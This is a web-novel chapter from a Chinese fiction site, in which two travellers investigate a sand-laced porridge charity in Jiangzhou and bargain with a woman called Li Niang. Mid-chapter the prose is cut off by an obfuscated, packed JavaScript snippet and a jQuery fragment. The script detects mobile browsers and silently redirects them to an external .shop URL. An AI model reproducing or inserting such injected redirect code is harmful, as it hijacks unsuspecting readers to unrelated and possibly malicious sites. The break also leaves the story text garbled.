文趣网 > 都市小说 > 赴京这件小事 > 27. 有事
    谢星影也没想到,自己随口说出来当作玩乐一般的惩罚,竟然还真的成了真。

    “……这样吧,我和你保证,后日,我们后日一定离开江州。”薛月圆难为情地低下了头,细细地小声说着话。

    薛月圆自然是不想损失一贯铜钱的,更别提谢星影本身有那么多钱,她总觉得这个法子对本身钱就不比谢星影多的她来说不太公平。

    但她现在根本不好意思提什么公平不公平一事,因为她又食言了。

    江州此地变故实在太多了,幸好他们接下来去的泰州是个富饶安稳的小城,一定不会让她再做出如此丢脸的事情。

    当时薛月圆说,要去东边看看施粥一事后,谢星影就一直面带微笑地看着她,看得她浑身发麻。

    “先用午膳吧,好吗?”忽略他眼底多得要溢出来的讥讽,谢星影看上去十分有礼地询问道。

    他担心去看了那劳什子东边施粥之后,他连午膳都没得吃了。

    那小孩肯定古怪,薛月圆都觉得在江州有人施粥是一件不可思议的事。

    既然如此,那为什么还要把他们引过去呢?

    用完午膳后,薛月圆便在街旁捡了根短木棍,拿在手上用作防身。

    她本想劝说谢星影回客栈或是衙门,但谢星影对此也有些好奇,两人便直接过来了。

    原本薛月圆还在担心,会不会由于他们去吃午膳耽搁了一部分时间,现在施粥的队伍都散了。

    却没成想东边靠近城门的墙角前,还支着一个小摊,小摊旁边挂着大大的“施粥”二字,看上去十分简陋。

    关键是那小摊前面也没什么人,薛月圆只看见两个老人端着碗蹲在摊前喝。

    她走过去的时候,看到其中一个老人应当是喝完了一碗粥,施粥的阿姐问他还要吗,老人竟摇了摇头。

    江州的民风不太淳朴,是以薛月圆看到老人这样还惊讶了一瞬。

    “他为什么不要第二碗?”薛月圆一手扯着身旁谢星影的衣袖,头偏了偏凑过去询问道。

    谢星影懒洋洋地说:“也许他喝饱了呗。”

    “谢小郎君,你认真些,这些人是不会因为喝饱了就拒绝免费的粥的。”薛月圆认真地说。

    她说完,看到谢星影斜了她一眼,似笑非笑:“小月姑娘,你这是也入乡随俗,觉得江州全是恶人了?”

    薛月圆一时语塞,听到谢星影哼笑一声,低声道:“粥里掺了沙子。”

    闻言,她一愣,薛月圆回想起之前和师娘学习的时候,在史书上见过这个故事,只不过没曾想居然在距离槲州如此近的江州重演了这段历史。

    薛月圆的脚步慢了一瞬,谢星影看了她一眼,她才继续向前走去。

    “这位姑娘也来喝粥吗?”打粥的阿姐看到她,远远便询问道。

    她松开谢星影的衣袖,向前快走两步把他挡在身后。

    薛月圆朝打粥阿姐露出一个大大的笑容,问道:“我不喝粥,我是外地来的,听闻江州东边有施粥,特地来看看。”

    那位阿姐随即放下了手中的勺子,也露出一个和蔼的笑容回应道:“咱们这儿施的粥啊,所有人都可以来喝,只不过喝不喝得惯,就看个人了。”

    这番话说得很是巧妙,若不是谢星影提了一句粥里掺沙一事,或许她还听不明白这句话是何意思。

    谢小郎君还真是饱读书卷,一眼就察觉了其中的玄机啊,薛月圆在心中感叹了一句。

    “阿姐,那劳烦您帮我打一点,我想尝尝。”她看到了在施粥的摊子上还放着几只破碗,于是说道。

    这位阿姐生得面善,眼角有一丝细纹。她笑着从旁边拿出一只碗,往里打了大约铺满碗底的粥,递过来:“姑娘。”

    薛月圆接过来垂眼看去,米粒沉淀下去,只有恰恰铺满碗底那么多的粥。

    果然所谓的粥大半还是清水,中间掺了一点米粒,还有……谢星影说的沙子。

    薛月圆想了下,端着碗暂且没喝。她朝那阿姐露出小小的笑容,指着碗中的粥直接问道:“您说的喝不喝得惯是说这里的沙子吗?”

    在她问出这个问题的时候,谢星影收回看向对面打粥阿姐的视线,把目光落在了她的身上。

    与此同时,那打粥阿姐的笑容未变,道:“哪里有沙子?”

    谢星影的目光微妙,而打粥阿姐的眼神笃定,两人的视线聚集于薛月圆身上,她却恍若未觉。

    薛月圆低头,再度看了看碗中那明显的沙粒,谢星影便看到她的下一个举动是举碗仰头把碗中的清水米粒沙子喝了进去。

    饶是谢星影从小经历过那么多事,又熟知薛月圆的性子,看到她乍作此举,还是忍不住惊讶了一瞬。

    他的手动了动,不知想做什么,但很快又收回落在了身侧。

    惊讶归惊讶,谢星影很快把目光落回了对面的打粥人身上。

    他敏锐地察觉到对方细微的神色变化,还没来得及细想,就听见薛月圆说:“阿姐,我喝得惯。”

    薛月圆还是一副笑盈盈的样子,她的眉毛细而弯,眼睛也弯成了两道月牙,看上去想让人跟随她一起笑起来。

    那打粥阿姐很快收敛起自己的面色,仍旧一副和蔼的面容:“那姑娘可还再要一些?”

    薛月圆摇头,将这只碗双手还回去:“不用了,这里施粥是给吃不上饭的百姓们的,我不能占他们的份额。”

    对面人神色未变,接过她的碗放回去,和气地夸了她一声好。

    “那您现在能告诉我,您最先说的喝不喝得惯,是说能喝下粥里面的沙子吗?”薛月圆问回了这个问题。

    谢星影垂在身旁的手微微动了一下,他和薛月圆一同看向对面打粥的阿姐。

    不过,她并没有对薛月圆的话作出任何回应。

    对面女人和蔼的面容发生了细微的变化,她的嘴角扯平,一直眯着的眼睛此刻也舒展开。

    “你继续。”她把打粥的勺子往瓦罐里一扔,低头说了一句。

    薛月圆和谢星影就看到那施粥的小摊底下冒出来一个头。

    “是你?”薛月圆忍不住对从小摊下面钻出来的小孩说道。

    这小孩赫然就是方才撞了她的那个孩子,他的身量不高,一直坐在摊子下面,被周围的围布挡着,确实不容易被人看见。

    小孩被叫出来,熟练接过扔进瓦罐里的勺子,一边握着勺子在粥里搅着,一边甜甜地叫了她一声:“姐姐。”

    好在两人也早有准备,对此只有几分惊讶。

    甚至谢星影还十分细致地打量了两下这个小孩的面容,察觉到他与他旁边的那个女人眉眼间有几分相似。

    “这是我的孩子。”也许是发现了谢星影的打量,那打粥阿姐很是自然地直接说道。

    薛月圆并没有流露出明显的情绪,她依旧笑着,和善地问道:“您怎么称呼?”

    “叫我李娘就行。”

    她做了个手势,让两人跟着她来。

    薛月圆往前了两步,却感觉到自己的手臂好像被人拉了拉。她回头望去,谢星影正眉头微皱地望着她。

    “这位公子可是担心我对你二人图谋不轨?”李娘也停下脚步,问道。

    “你让儿子引我们二人过来,到底有何意?”

    李娘笑笑:“不过是听闻姑娘与公子一入江州,便参与衙门一同捣毁了一个大的团伙罢了。”

    “并非我与他共同捣毁的。”

    谢星影的视线落到她的身上,听到薛月圆道:“这件事是我与衙门另一人共同做的,与他无关。”

    李娘略带疑惑地看了她一眼:“姑娘的意思是……”

    “这样,我同他去一趟衙门,然后我与那人一同过来。”薛月圆一点也没觉得自己这个想法有多荒谬,很干脆地说了出来。

    倒是面前

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766509|209717||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的李娘,见她这样赤诚,也额外提起几分趣味来。

    “也可以,只不过,我如何确定你真的会回来呢?”

    薛月圆抿抿唇,很是不舍地把自己早上刚刚失而复得的荷包拿了出来:“我将此物给你,里面是我身上带着的所有银钱,荷包也是我亲手缝制。”

    她不觉得这荷包和银钱的价值远远没有达到可以在这种情况下用作抵押的程度,然而面前的李娘眼含趣味,倒也没有拒绝。

    李娘接过那只荷包,在手上掂了掂,道:“我在这里等到日落,姑娘记得快些回来。”

    居然还把时间宽限到日落,谢星影看了看现在的日头,不过刚过午时。

    他对刚才薛月圆的一番举动感到瞠目结舌,若是要他来,若是换他来,绝不可能这么轻易。

    而薛月圆不光直愣愣地把他安然无恙地送回衙门,还和那女人说得有来有回,一点脸面也没撕破。

    “你知道她是谁吗?”在走回衙门的路上,谢星影忍不住问道。

    薛月圆的手中还拿着她随手捡来的那根棍子,她握着那根棍子活动着右手腕,闻言摇了摇头,用十分莫名的眼光看着他:“不知道呀,你为什么会觉得我知道?”

    谢星影皱眉问道:“那你就把你的荷包给她,不担心她其实也是一个扒手?”

    “一个设了这么一大出局,只为了偷我的荷包?”薛月圆说完,率先被自己的形容笑到了,“我觉得不至于此。”

    她看着谢星影缄口无言的样子,解释道:“因为我身上最值钱的就是那枚荷包了呀,不然我该给什么东西押在她那边呢?”

    “对了,还有钱簿,这个我没说。”薛月圆似乎觉得自己留了后手,脸上浮现上几分自豪。

    “小月,其实你的荷包和里面的钱在面对那个女人的时候,根本到不了能做抵押的程度。”谢星影微微笑着,纤长浓密的眼睫遮住了眼底所有的情绪,“更不要说她对你的时间如此宽限,甚至都没有要求你不许带衙门侍卫过来。”

    薛月圆随着他的话语感叹:“是啊,那位李娘确实深藏不露。她递给我粥碗的时候,我还看到了她手上的茧呢。”

    那种程度的茧,是要如同镖局镖师一样日日练武才能磨损出来的。

    “你这都关注到了?为什么……”

    “不过,她还是让我用荷包做抵押了呀。”

    沉默了片刻,两人几乎同时开口说话,但谢星影的话说到一半就忽然断开了。

    薛月圆说完,偏头望向他问道:“谢小郎君,你要问我什么?”

    谢星影摇头:“没事了。”

    薛月圆总能用一些他意想不到的办法达成目的,问那么多也没意思。毕竟让他用这些方法,他是断然不会用的。

    谢星影的目光从眼睫下穿出,上上下下把身旁还在耍弄棍子的姑娘看了个遍。他的唇角微微上翘,哼笑一声:“傻人有傻福。”

    薛月圆握着棍子绕动手腕的动作不停,不知道她听没听到,或许听到了也不在意。

    她把谢星影安全送回了衙门,随后去找顾绽。

    顾绽不知道在和顾县令商量些什么,总之等薛月圆请求一旁的护卫把她找过来的时候,她脸上带着显而易见的怒气。

    薛月圆没有去问,只是给她倒了盏水,把方才经历的事告知了她,末了说道:“你的身份从来没有对外公开,所以我也没有和李娘把你直接说出来。阿绽,若是你觉得不安全,不妨在衙门中找位武功高强的,我和他一同过去。”

    这事怎么说也是她被人引了过去,被下进了一个不大不小的套子里,薛月圆也自然不好大着脸让顾绽直接和她去。

    她是这样想的,顾绽也有自己的想法:“此事本就是我江州的事情,牵连到了你,我又怎可做缩头乌龟?”

    “我们二人好好去会会那名李娘,想来她也不是个不讲理的。”顾绽这样说道。